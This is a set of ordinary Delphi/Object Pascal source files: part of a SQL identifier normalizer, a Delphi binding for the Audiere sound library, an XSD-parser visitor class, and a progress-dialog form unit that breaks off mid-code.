TibBTCodeNormalizer.RetrieveKeywordsList: Boolean; var vEditorRegistrator: IibSHEditorRegistrator; begin if Supports(Designer.GetDemon(IibSHEditorRegistrator), IibSHEditorRegistrator, vEditorRegistrator) then Result := Supports(vEditorRegistrator.GetKeywordsManager(FDatabase.BTCLServer), IibSHKeywordsList, FKeywordsList) else Result := False; end; function TibBTCodeNormalizer.SourceDDLToMetadataName( const AObjectName: string): string; var L: Integer; begin L := Length(AObjectName); if (L > 1) and (AObjectName[1] = '"') and (AObjectName[L] = '"') then begin Result:=AObjectName; SetLength(Result,Length(Result)-1); Delete(Result, 1, 1); end else Result := Trim(UpperCase(AObjectName)); { L := Length(AObjectName); if (L > 1) and (AObjectName[1] = '"') and (AObjectName[L] = '"') then begin Result := copy(AObjectName, 2, L - 2); // Delete(Result, L, 1); // Delete(Result, 1, 1); end else Result := Trim(AnsiUpperCase(AObjectName)); } end; function TibBTCodeNormalizer.MetadataNameToSourceDDL( const ADatabase: IibSHDatabase; const AObjectName: string): string; begin if Supports(ADatabase, IibSHDatabase, FDatabase) and RetrieveKeywordsList then begin try if IsSQLDialect3Object(AObjectName) then Result := Format('%s%s%s', [sQuotation, AObjectName, sQuotation]) else begin if FDatabase.CapitalizeNames then Result := AnsiUpperCase(AObjectName) else Result := AObjectName; end; finally if Assigned(FKeywordsList) then FKeywordsList := nil; if Assigned(FDatabase) then FDatabase := nil; end; end; end; function TibBTCodeNormalizer.MetadataNameToSourceDDLCase( const ADatabase: IibSHDatabase; const AObjectName: string): string; var vEditorCodeInsightOptions: ISHEditorCodeInsightOptions; posPoint: integer; begin if Supports(ADatabase, IibSHDatabase, FDatabase) and RetrieveKeywordsList then begin try if IsSQLDialect3Object(AObjectName) then begin if (Length(AObjectName)>0) and ((AObjectName[1]=SQuotation)or (AObjectName[Length(AObjectName)]=SQuotation) ) then Result :=AObjectName else begin // Надеюсь что долбоебов которые будут делать названия со скобами в конце не найдется if (Length(AObjectName)<3) or (AObjectName[Length(AObjectName)]<>')') or (AObjectName[Length(AObjectName)-1]<>'(') then begin posPoint:=Pos('.',AObjectName); if (posPoint=0) or (Pos('.',Copy(AObjectName,posPoint+1,MaxInt))>0) then Result := Format('%s%s%s', [sQuotation, AObjectName, sQuotation]) else begin //Ровно одна точка. Может быть разделителем между алиасом таблицы и поля if IsSQLDialect3Object(Copy(AObjectName,1,posPoint-1)) or IsSQLDialect3Object(Copy(AObjectName,posPoint+1,MaxInt)) then Result := Format('%s%s%s', [sQuotation, AObjectName, sQuotation]) else Result :=AObjectName end end else if IsSQLDialect3Object(Copy(AObjectName,1,Length(AObjectName)-2)) then Result := Format('%s%s%s', [sQuotation, Copy(AObjectName,1,Length(AObjectName)-2), sQuotation])+'()' else Result :=AObjectName end end else begin if Supports(Designer.GetDemon(ISHEditorCodeInsightOptions), ISHEditorCodeInsightOptions, vEditorCodeInsightOptions) then begin Result := DoCaseCode(AObjectName, TpSHCaseCode(Ord(vEditorCodeInsightOptions.CaseCode))) end else Result := AObjectName; end; finally if Assigned(FKeywordsList) then FKeywordsList := nil; if Assigned(FDatabase) then FDatabase := nil; end; end; end; function TibBTCodeNormalizer.InputValueToMetadata( const ADatabase: IibSHDatabase; const AObjectName: string): string; begin Result := AObjectName; if Supports(ADatabase, IibSHDatabase, FDatabase) and RetrieveKeywordsList // Buzz: На хера? then begin try if Length(Result) > 0 then begin if (FDatabase.SQLDialect > 2) then begin if (Result[1] = '"') and (Result[Length(Result)] = '"') then begin Delete(Result, 1, 1); if Length(Result) > 0 then if Result[Length(Result)] = '"' then SetLength(Result, Length(Result)-1) end else if FDatabase.CapitalizeNames and IsSQLDialect1Compatible(Result) then Result := UpperCase(Result); end else begin if IsSQLDialect1Compatible(Result) then Result := UpperCase(Result); end; end; finally if Assigned(FKeywordsList) then FKeywordsList := nil; if Assigned(FDatabase) then FDatabase := nil; end; end; end; function TibBTCodeNormalizer.InputValueToMetadataCheck( const ADatabase: IibSHDatabase; var AObjectName: string): Boolean; begin if Supports(ADatabase, IibSHDatabase, FDatabase) and RetrieveKeywordsList then begin try if Length(AObjectName) > 0 then begin if (FDatabase.SQLDialect > 2) then begin if (AObjectName[1] = '"') and (AObjectName[Length(AObjectName)] = '"') then begin Delete(AObjectName, 1, 1); if Length(AObjectName) > 0 then if AObjectName[Length(AObjectName)] = '"' then Delete(AObjectName, Length(AObjectName), 1); end else if FDatabase.CapitalizeNames and IsSQLDialect1Compatible(AObjectName) then AObjectName := UpperCase(AObjectName); Result := True; end else begin Result := IsSQLDialect1Compatible(AObjectName); if Result then AObjectName := UpperCase(AObjectName); end; end else Result := True; finally if Assigned(FKeywordsList) then FKeywordsList := nil; if Assigned(FDatabase) then FDatabase := nil; end; end else Result := False; end; function TibBTCodeNormalizer.CaseSQLKeyword( const AKeywordsString: string): string; var vEditorCodeInsightOptions: ISHEditorCodeInsightOptions; begin if Supports(Designer.GetDemon(ISHEditorCodeInsightOptions), ISHEditorCodeInsightOptions, vEditorCodeInsightOptions) then Result := DoCaseCode(AKeywordsString, TpSHCaseCode(Ord(vEditorCodeInsightOptions.CaseSQLKeywords))) else Result := AKeywordsString; end; function TibBTCodeNormalizer.IsKeyword(const ADatabase: IibSHDatabase; const AKeyword: string): Boolean; var vDB:IibSHDatabase; vKW:IibSHKeywordsList; begin vDB:=FDataBase; vKW:=FKeywordsList; Result := Supports(ADatabase, IibSHDatabase,FDataBase) and RetrieveKeywordsList; try if Result then begin // Result := FKeywordsList.AllKeywordList.IndexOf(AKeyword) <> -1; //^^^ За IndexOf в уже отсортированном списке убивать надо. Там же около 500 строк. Result := (FKeywordsList as IpSHKeywordsManager).IsKeyword(AKeyword) end; finally FDataBase:=vDB; FKeywordsList := vKW; end; end; class function TibBTCodeNormalizer.GetClassIIDClassFnc: TGUID; begin Result := IibSHCodeNormalizer; end; initialization Register; end.
//========================================================================= // Audiere Sound System // Version 1.9.2 // (c) 2002 Chad Austin // // This API uses principles explained at // http://aegisknight.org/cppinterface.html // // This code licensed under the terms of the LGPL. See the Audiere // license.txt. //------------------------------------------------------------------------- // Delphi Conversion By: // Jarrod Davis // Jarrod Davis Software // http://www.jarroddavis.com - Jarrod Davis Software // http://www.gamevisionsdk.com - Game Application Framework for Delphi // support@jarroddavis.com - Support Email //------------------------------------------------------------------------- // How to use: // * Include Audiere in your Uses statement // * Enable or Disable the DYNAMICS compiler define // * If Dynamic, be sure to call AdrLoadDLL before using any commands. // the DLL will be automaticlly unloaded at termination. // * If Static, then use as normal. // History: // * Initial 1.9.2 release. // + Added dynamic loading. Use the DYNAMIC compiler define to control // this. When enabled you can then use ArdLoadLL/AdrUnloadDLL to // dynamiclly load/unload dll at runtime. //========================================================================= unit Audiere; {$A+} {$Z4} {$DEFINE DYNAMIC} interface const DLL_NAME = 'Audiere.dll'; type { TTag} PTag = ^TTag; TTag = class(TObject) public key:string; value:string; category:string; end; { TAdrRefCounted } PAdrRefCounted = ^TAdrRefCounted; TAdrRefCounted = class public procedure Ref; virtual; stdcall; abstract; procedure UnRef; virtual; stdcall; abstract; end; { TAdrSeekMode } TAdrSeekMode = ( Adr_Seek_Begin, Adr_Seek_Current, Adr_Seek_End ); PAudioDeviceDesc = ^TAudioDeviceDesc; TAudioDeviceDesc = record /// Name of device, i.e. "directsound", "winmm", or "oss" name : string; // Textual description of device. description : string; end; { TAdrFile } PAdrFile = ^TAdrFile; TAdrFile = class(TAdrRefCounted) public function Read(aBuffer: Pointer; aSize: Integer): Integer; virtual; stdcall; abstract; function Seek(aPosition: Integer; aSeekMode: TAdrSeekMode): Boolean; virtual; stdcall; abstract; function Tell: Integer; virtual; stdcall; abstract; end; { TAdrSampleFormat } TAdrSampleFormat = ( Adr_SampleFormat_U8, Adr_SampleFormat_S16 ); { TAdrFileFormat } TAdrFileFormat = ( FF_AUTODETECT, FF_WAV, FF_OGG, FF_FLAC, FF_MP3, FF_MOD, FF_AIFF, FF_SPEEX ); { TAdrSampleSource } PAdrSampleSource = ^TAdrSampleSource; TAdrSampleSource = class(TAdrRefCounted) public procedure getFormat(var aChannelCount: Integer; var aSampleRate: Integer; var aSampleFormat: TAdrSampleFormat); virtual; stdcall; abstract; function read(aFrameCount: Integer; aBuffer: Pointer): Integer; virtual; stdcall; abstract; procedure reset; virtual; stdcall; abstract; function isSeekable: Boolean; virtual; stdcall; abstract; function getLength: Integer; virtual; stdcall; abstract; procedure setPosition(Position: Integer); virtual; stdcall; abstract; function getPosition: Integer; virtual; stdcall; abstract; procedure setRepeat(aRepeat: boolean); virtual; stdcall; abstract; function getRepeat: boolean; virtual; stdcall; abstract; function getTagCount: Integer; virtual; stdcall; abstract; function getTagKey(aIndex: integer): PChar; virtual; stdcall; abstract; function getTagValue(aIndex: integer): PChar; virtual; stdcall; abstract; function getTagType(aIndex: integer): PChar; virtual; stdcall; abstract; end; { TAdrLoopPointSource } PAdrLoopPointSource = ^TAdrLoopPointSource; TAdrLoopPointSource = class(TAdrRefCounted) public procedure addLoopPoint(aLocation: integer; aTarget:integer; aLoopCount: integer); virtual; stdcall; abstract; procedure removeLoopPoint(aIndex: integer); virtual; stdcall; abstract; function getLoopPointCount: integer; virtual; stdcall; abstract; function getLoopPoint(aIndex: integer; var aLocation: integer; var aTarget: integer; aLoopCount: integer): Boolean; virtual; stdcall; abstract; end; { TAdrOutputStream } PAdrOutputStream = ^TAdrOutputStream; TAdrOutputStream = class(TAdrRefCounted) public procedure Play; virtual; stdcall; abstract; procedure Stop; virtual; stdcall; abstract; function IsPlaying: Boolean; virtual; stdcall; abstract; procedure Reset; virtual; stdcall; abstract; procedure SetRepeat(aRepeat: Boolean); virtual; stdcall; abstract; function GetRepeat: Boolean; virtual; stdcall; abstract; procedure SetVolume(aVolume: Single); virtual; stdcall; abstract; function GetVolume: Single; virtual; stdcall; abstract; procedure SetPan(aPan: Single); virtual; stdcall; abstract; function GetPan: Single; virtual; stdcall; abstract; procedure SetPitchShift(aShift: Single); virtual; stdcall; abstract; function GetPitchShift: Single; virtual; stdcall; abstract; function IsSeekable: Boolean; virtual; stdcall; abstract; function GetLength: Integer; virtual; stdcall; abstract; procedure SetPosition(aPosition: Integer); virtual; stdcall; abstract; function GetPosition: Integer; virtual; stdcall; abstract; end; { TAdrEventType } TAdrEventType = ( ET_STOP ); { TAdrEvent } PAdrEvent = ^TAdrEvent; TAdrEvent = class(TAdrRefCounted) public function getType: TAdrEventType; virtual; stdcall; abstract; end; { TAdrReason } TAdrReason = ( STOP_CALLED, STREAM_ENDED ); { TAdrStopEvent } PAdrStopEvent = ^TAdrStopEvent; TAdrStopEvent = class(TAdrRefCounted) public function getType: TAdrEventType; virtual; stdcall; abstract; function getOutputStream:TAdrOutputStream; virtual; stdcall; abstract; function getReason:TAdrReason; virtual; stdcall; abstract; end; { TAdrCallback } PAdrCallback = ^TAdrCallback; TAdrCallback = class(TAdrRefCounted) public function getType: TAdrEventType; virtual; stdcall; abstract; procedure call(aEvent: TAdrEvent); virtual; stdcall; abstract; end; { TAdrStopCallback } PAdrStopCallback = ^TAdrStopCallback; TAdrStopCallback = class(TAdrRefCounted) public function getType: TAdrEventType; virtual; stdcall; abstract; procedure call(aEvent: TAdrEvent); virtual; stdcall; abstract; procedure streamStopped(aStopEvent: TAdrEvent); virtual; stdcall; abstract; end; { TAdrAudioDevice } PAdrAudioDevice = ^TAdrAudioDevice; TAdrAudioDevice = class(TAdrRefCounted) public procedure update; virtual; stdcall; abstract; function openStream(aSource: TAdrSampleSource): TAdrOutputStream; virtual; stdcall; abstract; function openBuffer(aSamples: Pointer; aFrameCount, aChannelCount, aSampleRate: Integer; aSampelFormat: TAdrSampleFormat): TAdrOutputStream; virtual; stdcall; abstract; function getName: PChar; virtual; stdcall; abstract; procedure registerCallback(aCallback: TAdrCallback); virtual; stdcall; abstract; procedure unregisterCallback(aCallback: TAdrCallback); virtual; stdcall; abstract; procedure clearCallbacks; virtual; stdcall; abstract; end; { TAdrSampleBuffer } PAdrSampleBuffer = ^TAdrSampleBuffer; TAdrSampleBuffer = class(TAdrRefCounted) public procedure GetFormat(var ChannelCount: Integer; var aSampleRate: Integer; var aSampleFormat: TAdrSampleFormat); virtual; stdcall; abstract; function GetLength: Integer; virtual; stdcall; abstract; function GetSamples: Pointer; virtual; stdcall; abstract; function OpenStream: TAdrSampleSource; virtual; stdcall; abstract; end; { TAdrSoundEffectType } TAdrSoundEffectType = ( Adr_SoundEffectType_Single, Adr_SoundEffectType_Multiple ); { TAdrSoundEffect } PAdrSoundEffect = ^TAdrSoundEffect; TAdrSoundEffect = class(TAdrRefCounted) public procedure Play; virtual; stdcall; abstract; procedure Stop; virtual; stdcall; abstract; procedure SetVolume(aVolume: Single); virtual; stdcall; abstract; function GetVolume: Single; virtual; stdcall; abstract; procedure SetPan(aPan: Single); virtual; stdcall; abstract; function GetPan: Single; virtual; stdcall; abstract; procedure SetPitchShift(aShift: Single); virtual; stdcall; abstract; function GetPitchShift: Single; virtual; stdcall; abstract; end; { TAdrCDDevice } PAdrCDDevice = ^TAdrCDDevice; TAdrCDDevice = class(TAdrRefCounted) public function GetName: PChar; virtual; stdcall; abstract; function getTrackCount: integer; virtual; stdcall; abstract; procedure play(aTrack: integer); virtual; stdcall; abstract; procedure stop; virtual; stdcall; abstract; procedure pause; virtual; stdcall; abstract; procedure resume; virtual; stdcall; abstract; function isPlaying: Boolean; virtual; stdcall; abstract; function containsCD: Boolean; virtual; stdcall; abstract; function isDoorOpen: Boolean; virtual; stdcall; abstract; procedure openDoor; virtual; stdcall; abstract; procedure closeDoor; virtual; stdcall; abstract; end; { TAdrMIDIStream } PAdrMIDIStream = ^TAdrMIDIStream; TAdrMIDIStream = class(TAdrRefCounted) public procedure play; virtual; stdcall; abstract; procedure stop; virtual; stdcall; abstract; procedure pause; virtual; stdcall; abstract; function isPlaying: Boolean; virtual; stdcall; abstract; function getLength: integer; virtual; stdcall; abstract; function getPosition: integer; virtual; stdcall; abstract; procedure setPosition(aPositions: integer); virtual; stdcall; abstract; function getRepeat: Boolean; virtual; stdcall; abstract; procedure setRepeat(aRepeat: Boolean); virtual; stdcall; abstract; end; { TAdrMIDIDevice } PAdrMIDIDevice = ^TAdrMIDIDevice; TAdrMIDIDevice = class(TAdrRefCounted) public function GetName: PChar; virtual; stdcall; abstract; function OpenStream(aFileName: PChar): TAdrMIDIStream; virtual; stdcall; abstract; end; { --- Audiere Routines -------------------------------------------------- } {$IFNDEF DYNAMIC} function AdrCreateLoopPointSource (aSource: TAdrSampleSource): TAdrLoopPointSource;(*cdecl = nil;*) stdcall = nil; external DLL_NAME name '_AdrCreateLoopPointSource@4'; function AdrCreateMemoryFile (aBuffer: Pointer; BufferSize: Integer): TAdrFile;(*cdecl = nil;*) stdcall = nil; external DLL_NAME name '_AdrCreateMemoryFile@8'; function AdrCreatePinkNoise : TAdrSampleSource;(*cdecl = nil;*) stdcall = nil; external DLL_NAME name '_AdrCreatePinkNoise@0'; function AdrCreateSampleBuffer (aSamples: Pointer; aFrameCount, aChannelCount, aSampleRate: Integer; aSampleFormat: TAdrSampleFormat): TAdrSampleBuffer;(*cdecl = nil;*) stdcall = nil; external DLL_NAME name '_AdrCreateSampleBuffer@20'; function AdrCreateSampleBufferFromSource(aSource: TAdrSampleSource): TAdrSampleBuffer;(*cdecl = nil;*) stdcall = nil; external DLL_NAME name '_AdrCreateSampleBufferFromSource@4'; function AdrCreateSquareWave (aFrequency: Double): TAdrSampleSource;(*cdecl = nil;*) stdcall = nil; external DLL_NAME name '_AdrCreateSquareWave@8'; function AdrCreateTone (aFrequency: Double): TAdrSampleSource;(*cdecl = nil;*) stdcall = nil; external DLL_NAME name '_AdrCreateTone@8'; function AdrCreateWhiteNoise : TAdrSampleSource;(*cdecl = nil;*) stdcall = nil; external DLL_NAME name '_AdrCreateWhiteNoise@0'; function AdrEnumerateCDDevices : PChar;(*cdecl = nil;*) stdcall = nil; external DLL_NAME name '_AdrEnumerateCDDevices@0'; function AdrGetSampleSize (aFormat: TAdrSampleFormat): Integer;(*cdecl = nil;*) stdcall = nil; external DLL_NAME name '_AdrGetSampleSize@4'; function AdrGetSupportedAudioDevices : PChar;(*cdecl = nil;*) stdcall = nil; external DLL_NAME name '_AdrGetSupportedAudioDevices@0'; function AdrGetSupportedFileFormats : PChar;(*cdecl = nil;*) stdcall = nil; external DLL_NAME name '_AdrGetSupportedFileFormats@0'; function AdrGetVersion : PChar;(*cdecl = nil;*) stdcall = nil; external DLL_NAME name '_AdrGetVersion@0'; function AdrOpenCDDevice (aName: PChar): TAdrCDDevice;(*cdecl = nil;*) stdcall = nil; external DLL_NAME name '_AdrOpenCDDevice@4'; function AdrOpenDevice (const aName: PChar; const aParams: PChar): TAdrAudioDevice;(*cdecl = nil;*) stdcall = nil; external DLL_NAME name '_AdrOpenDevice@8'; function AdrOpenFile (aName: PChar): TAdrFile;(*cdecl = nil;*) stdcall = nil; external DLL_NAME name '_AdrOpenFile@8'; function AdrOpenMIDIDevice (aName: PChar): TAdrMIDIDevice;(*cdecl = nil;*) stdcall = nil; external DLL_NAME name '_AdrOpenMIDIDevice@4'; function AdrOpenSampleSource (const aFilename: PChar; aFileFormat: TAdrFileFormat): TAdrSampleSource;(*cdecl = nil;*) stdcall = nil; external DLL_NAME name '_AdrOpenSampleSource@8'; function AdrOpenSampleSourceFromFile (aFile: TAdrFile; aFileFormat: TAdrFileFormat): TAdrSampleSource;(*cdecl = nil;*) stdcall = nil; external DLL_NAME name '_AdrOpenSampleSourceFromFile@8'; function AdrOpenSound (aDevice: TAdrAudioDevice; aSource: TAdrSampleSource; aStreaming: LongBool): TAdrOutputStream;(*cdecl = nil;*) stdcall = nil; external DLL_NAME name '_AdrOpenSound@12'; function AdrOpenSoundEffect (aDevice: TAdrAudioDevice; aSource: TAdrSampleSource; aType: TAdrSoundEffectType): TAdrSoundEffect;(*cdecl = nil;*) stdcall = nil; external DLL_NAME name '_AdrOpenSoundEffect@12'; {$ENDIF} {$IFDEF DYNAMIC} var AdrCreateLoopPointSource : function(aSource: TAdrSampleSource): TAdrLoopPointSource; (*cdecl = nil;*) stdcall = nil; AdrCreateMemoryFile : function(aBuffer: Pointer; BufferSize: Integer): TAdrFile;(* cdecl = nil;*) stdcall = nil; AdrCreatePinkNoise : function: TAdrSampleSource;(* cdecl = nil;*) stdcall = nil; AdrCreateSampleBuffer : function(aSamples: Pointer; aFrameCount, aChannelCount, aSampleRate: Integer; aSampleFormat: TAdrSampleFormat): TAdrSampleBuffer;(* cdecl = nil;*) stdcall = nil; AdrCreateSampleBufferFromSource: function(aSource: TAdrSampleSource): TAdrSampleBuffer;(* cdecl = nil;*) stdcall = nil; AdrCreateSquareWave : function(aFrequency: Double): TAdrSampleSource;(* cdecl = nil;*) stdcall = nil; AdrCreateTone : function(aFrequency: Double): TAdrSampleSource;(* cdecl = nil;*) stdcall = nil; AdrCreateWhiteNoise : function: TAdrSampleSource;(* cdecl = nil;*) stdcall = nil; AdrEnumerateCDDevices : function: PChar;(* cdecl = nil;*) stdcall = nil; AdrGetSampleSize : function(aFormat: TAdrSampleFormat): Integer;(* cdecl = nil;*) stdcall = nil; AdrGetSupportedAudioDevices : function: PChar;(* cdecl = nil;*) stdcall = nil; AdrGetSupportedFileFormats : function: PChar;(* cdecl = nil;*) stdcall = nil; AdrGetVersion : function: PChar;(* cdecl = nil;*) stdcall = nil; AdrOpenCDDevice : function(aName: PChar): TAdrCDDevice;(* cdecl = nil;*) stdcall = nil; AdrOpenDevice : function(const aName: PChar; const aParams: PChar): TAdrAudioDevice;(* cdecl = nil;*) stdcall = nil; AdrOpenFile : function(aName: PChar): TAdrFile;(* cdecl = nil;*) stdcall = nil; AdrOpenMIDIDevice : function(aName: PChar): TAdrMIDIDevice;(* cdecl = nil;*) stdcall = nil; AdrOpenSampleSource : function(const aFilename: PChar; aFileFormat: TAdrFileFormat): TAdrSampleSource;(* cdecl = nil;*) stdcall = nil; AdrOpenSampleSourceFromFile : function(aFile: TAdrFile; aFileFormat: TAdrFileFormat): TAdrSampleSource;(* cdecl = nil;*) stdcall = nil; AdrOpenSound : function(aDevice: TAdrAudioDevice; aSource: TAdrSampleSource; aStreaming: LongBool): TAdrOutputStream;(* cdecl = nil;*) stdcall = nil; AdrOpenSoundEffect : function(aDevice: TAdrAudioDevice; aSource: TAdrSampleSource; aType: TAdrSoundEffectType): TAdrSoundEffect;(* cdecl = nil;*) stdcall = nil; // Dynamic Loading/Unlocading DLL File function AdrLoadDLL: Boolean; stdcall; procedure AdrUnloadDLL; stdcall; {$ENDIF} implementation {$IFDEF DYNAMIC} uses Windows; var AdrDLL: HMODULE = 0; function AdrLoadDLL: Boolean; begin Result := False; AdrDLL := LoadLibrary('audiere.dll'); if(AdrDLL = 0) then begin Exit; end; @AdrCreateLoopPointSource := GetProcAddress(AdrDLL, '_AdrCreateLoopPointSource@4'); @AdrCreateMemoryFile := GetProcAddress(AdrDLL, '_AdrCreateMemoryFile@8'); @AdrCreatePinkNoise := GetProcAddress(AdrDLL, '_AdrCreatePinkNoise@0'); @AdrCreateSampleBuffer := GetProcAddress(AdrDLL, '_AdrCreateSampleBuffer@20'); @AdrCreateSampleBufferFromSource := GetProcAddress(AdrDLL, '_AdrCreateSampleBufferFromSource@4'); @AdrCreateSquareWave := GetProcAddress(AdrDLL, '_AdrCreateSquareWave@8'); @AdrCreateTone := GetProcAddress(AdrDLL, '_AdrCreateTone@8'); @AdrCreateWhiteNoise := GetProcAddress(AdrDLL, '_AdrCreateWhiteNoise@0'); @AdrEnumerateCDDevices := GetProcAddress(AdrDLL, '_AdrEnumerateCDDevices@0'); @AdrGetSampleSize := GetProcAddress(AdrDLL, '_AdrGetSampleSize@4'); @AdrGetSupportedAudioDevices := GetProcAddress(AdrDLL, '_AdrGetSupportedAudioDevices@0'); @AdrGetSupportedFileFormats := GetProcAddress(AdrDLL, '_AdrGetSupportedFileFormats@0'); @AdrGetVersion := GetProcAddress(AdrDLL, '_AdrGetVersion@0'); @AdrOpenCDDevice := GetProcAddress(AdrDLL, '_AdrOpenCDDevice@4'); @AdrOpenDevice := GetProcAddress(AdrDLL, '_AdrOpenDevice@8'); @AdrOpenFile := GetProcAddress(AdrDLL, '_AdrOpenFile@8'); @AdrOpenMIDIDevice := GetProcAddress(AdrDLL, '_AdrOpenMIDIDevice@4'); @AdrOpenSampleSource := GetProcAddress(AdrDLL, '_AdrOpenSampleSource@8'); @AdrOpenSampleSourceFromFile := GetProcAddress(AdrDLL, '_AdrOpenSampleSourceFromFile@8'); @AdrOpenSound := GetProcAddress(AdrDLL, '_AdrOpenSound@12'); @AdrOpenSoundEffect := GetProcAddress(AdrDLL, '_AdrOpenSoundEffect@12'); if not Assigned(AdrCreateLoopPointSource ) then Exit; if not Assigned(AdrCreateMemoryFile ) then Exit; if not Assigned(AdrCreatePinkNoise ) then Exit; if not Assigned(AdrCreateSampleBuffer ) then Exit; if not Assigned(AdrCreateSampleBufferFromSource) then Exit; if not Assigned(AdrCreateSquareWave ) then Exit; if not Assigned(AdrCreateTone ) then Exit; if not Assigned(AdrCreateWhiteNoise ) then Exit; if not Assigned(AdrEnumerateCDDevices ) then Exit; if not Assigned(AdrGetSampleSize ) then Exit; if not Assigned(AdrGetSupportedAudioDevices ) then Exit; if not Assigned(AdrGetSupportedFileFormats ) then Exit; if not Assigned(AdrGetVersion ) then Exit; if not Assigned(AdrOpenCDDevice ) then Exit; if not Assigned(AdrOpenDevice ) then Exit; if not Assigned(AdrOpenFile ) then Exit; if not Assigned(AdrOpenMIDIDevice ) then Exit; if not Assigned(AdrOpenSampleSource ) then Exit; if not Assigned(AdrOpenSampleSourceFromFile ) then Exit; if not Assigned(AdrOpenSound ) then Exit; if not Assigned(AdrOpenSoundEffect ) then Exit; Result := True; end; procedure AdrUnloadDLL; begin if AdrDLL <> 0 then begin FreeLibrary(AdrDLL); AdrDLL := 0; end; end; initialization begin end; finalization begin AdrUnLoadDLL; end; {$ENDIF} end.
namespace proholz.xsdparser; interface type XsdSimpleTypeVisitor = public class(XsdAnnotatedElementsVisitor) private // * // * The {@link XsdSimpleType} instance which owns this {@link XsdSimpleTypeVisitor} instance. This way this visitor // * instance can perform changes in the {@link XsdSimpleType} object. // // var owner: XsdSimpleType; public constructor(aowner: XsdSimpleType); method visit(element: XsdList); override; method visit(element: XsdUnion); override; method visit(element: XsdRestriction); override; end; implementation constructor XsdSimpleTypeVisitor(aowner: XsdSimpleType); begin inherited constructor(aowner); self.owner := aowner; end; method XsdSimpleTypeVisitor.visit(element: XsdList); begin inherited visit(element); owner.setList(element); end; method XsdSimpleTypeVisitor.visit(element: XsdUnion); begin inherited visit(element); owner.setUnion(element); end; method XsdSimpleTypeVisitor.visit(element: XsdRestriction); begin inherited visit(element); owner.setRestriction(element); end; end.
unit ProgressActionUnit; interface uses System.Types, Winapi.Windows, Winapi.Messages, System.SysUtils, System.Classes, Vcl.Graphics, Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ExtCtrls, Vcl.StdCtrls, Vcl.AppEvnts, Vcl.Themes, Vcl.Imaging.pngimage, Dmitry.Utils.System, Dmitry.Controls.DmProgress, uGUIDUtils, uConstants, uMemory, uShellIntegration, uDBForm; type TProgressActionForm = class(TDBForm) OperationCounter: TDmProgress; OperationProgress: TDmProgress; LbActiveTask: TLabel; LbTasks: TLabel; LbInfo: TLabel; ImMain: TImage; AeMain: TApplicationEvents; procedure FormCreate(Sender: TObject); procedure AeMainMessage(var Msg: tagMSG; var Handled: Boolean); procedure FormDestroy(Sender: TObject); procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean); procedure FormShow(Sender: TObject); procedure FormPaint(Sender: TObject); procedure FormClose(Sender: TObject; var Action: TCloseAction); private { Private declarations } FOneOperation: Boolean; FPosition: Int64; FMaxPosCurrentOperation: Int64; FLoading: Boolean; FOperationCount: Int64; FOperationPosition: Int64; FCanClosedByUser: Boolean; FBackground: Boolean; procedure SetOneOperation(const Value: Boolean); procedure SetPosition(const Value: Int64); procedure SetMaxPosCurrentOperation(const Value: Int64); procedure SetLoading(const Value: Boolean); procedure SetOperationCount(const Value: Int64); procedure SetOperationPosition(const Value: Int64); procedure SetCanClosedByUser(const Value: Boolean); protected { Protected declarations } procedure CreateParams(var Params: TCreateParams); override; function GetFormID : string; override; public { Public declarations } WindowID: TGUID; Closed: Boolean; WindowCanClose: Boolean; procedure DoFormShow; procedure SetMaxOneValue(Value: Int64); procedure SetMaxTwoValue(Value: Int64); procedure ReCount; procedure LoadLanguage; procedure SetAlternativeText(Text: string); constructor Create(AOwner: TComponent; Background: Boolean); reintroduce; published { Published declarations } property OneOperation: Boolean read FOneOperation write SetOneOperation; property XPosition: Int64 read FPosition write SetPosition; property MaxPosCurrentOperation: Int64 read FMaxPosCurrentOperation write SetMaxPosCurrentOperation; property Loading: Boolean read FLoading write SetLoading default True; property OperationCount: Int64 read FOperationCount write SetOperationCount; property OperationPosition: Int64 read FOperationPosition write SetOperationPosition; property CanClosedByUser: Boolean read FCanClosedByUser write SetCanClosedByUser default False; end; TManagerProgresses = class(TObject) private FForms: TList; function GetItem(Index: Integer): TProgressActionForm; public constructor Create; destructor Destroy; override; function NewProgress: TProgressActionForm; procedure AddProgress(Progress: TForm); procedure RemoveProgress(Progress: TForm); function IsProgress(Progress: TProgressActionForm): Boolean; function ProgressCount: Integer; property Items[Index: Integer] : TProgressActionForm read GetItem; default; end; function GetProgressWindow(Background: Boolean = False): TProgressActionForm; var ManagerProgresses: TManagerProgresses = nil; implementation {$R *.dfm} function GetProgressWindow(Background: Boolean = False): TProgressActionForm; begin Result := TProgressActionForm.Create(Application, Background); end; procedure TProgressActionForm.DoFormShow; begin if not CanClosedByUser then DisableWindowCloseButton(Handle); if not Visible then begin Show; SetFocus; Invalidate; Refresh; Repaint; end; end; procedure TProgressActionForm.FormCreate(Sender: TObject); begin WindowCanClose := False; Closed := False; WindowID := GetGUID; ManagerProgresses.AddProgress(Self); LoadLanguage; FLoading := False; FCanClosedByUser := False; DoubleBuffered := True; end; procedure TProgressActionForm.LoadLanguage; begin BeginTranslate; try LbInfo.Caption := L('Please wait while the program performs the current operation and updates the collection.'); LbTasks.Caption := L('Tasks') + ':'; LbActiveTask.Caption := L('Current action') + ':'; Caption := L('Action is performed'); OperationCounter.Text := L('Processing... (&%%)'); OperationProgress.Text := L('Processing... (&%%)'); finally EndTranslate; end; end; procedure TProgressActionForm.ReCount; begin if OneOperation then begin OperationProgress.MaxValue := FMaxPosCurrentOperation; OperationProgress.Position := FPosition; OperationCounter.MaxValue := FMaxPosCurrentOperation; OperationCounter.Position := FPosition; end else begin OperationProgress.MaxValue := FMaxPosCurrentOperation; OperationProgress.Position := FPosition; OperationCounter.MaxValue := FOperationCount; OperationCounter.Position := FOperationPosition; end; end; procedure TProgressActionForm.SetAlternativeText(Text: string); begin LbInfo.Caption := Text; end; procedure TProgressActionForm.SetLoading(const Value: Boolean); begin FLoading := Value; end; procedure TProgressActionForm.SetMaxOneValue(Value: Int64); begin // end; procedure TProgressActionForm.SetMaxPosCurrentOperation( const Value: int64); begin FMaxPosCurrentOperation := Value; end; procedure TProgressActionForm.SetMaxTwoValue(Value: int64); begin // end; procedure TProgressActionForm.SetOneOperation(const Value: boolean); begin FOneOperation := Value; ReCount; end; procedure TProgressActionForm.SetOperationCount(const Value: int64); begin FOperationCount := Value; ReCount; end; procedure TProgressActionForm.SetOperationPosition(const Value: int64); begin FOperationPosition := Value; ReCount; end; procedure TProgressActionForm.SetPosition(const Value: int64); begin FPosition := Value; ReCount; end; procedure TProgressActionForm.AeMainMessage(var Msg: TagMSG; var Handled: Boolean); begin if not 